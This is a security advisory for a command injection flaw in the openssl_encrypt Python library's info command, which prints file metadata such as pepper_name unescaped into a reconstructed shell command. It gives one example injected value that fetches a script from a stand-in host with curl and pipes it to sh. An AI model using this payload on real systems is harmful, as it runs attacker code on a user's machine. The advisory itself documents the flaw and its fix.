Executive brief
openssl_encrypt is a Python library for encrypting files with OpenSSL. The info command displays a reconstructed CLI command that users can copy and paste to recreate the encryption operation. A vulnerability allows attackers to inject shell commands into metadata fields (like pepper_name) that get printed without proper escaping, causing arbitrary code execution when a user pastes the printed command into a shell.
Technical details
This is an OS command injection vulnerability (CWE-78) in the _reconstruct_cli_from_metadata function. The vulnerability occurs because untrusted metadata fields (pepper_name, hsm_plugin, algorithm, cipher_chain, kdf_config.hkdf.info, argon2.type, randomx.mode, and numeric fields) are interpolated directly into shell command text without quoting. An attacker can craft a file with a malicious pepper_name value like 'work; curl -s http://evil/x | sh #' that, when displayed in the reconstructed CLI block, executes arbitrary commands if a user copies and pastes the output into a shell. The attack requires no authentication and relies on user interaction (pasting the command). The fix in version 1.4.9 applies shlex.quote() to all interpolated values to prevent argument breakout.
Affected products
- jahlives openssl_encrypt before 1.4.9
Timeline
- 2026-08-27: disclosed
- 2026-08-27: patched: Version 1.4.9 released with shlex.quote() fix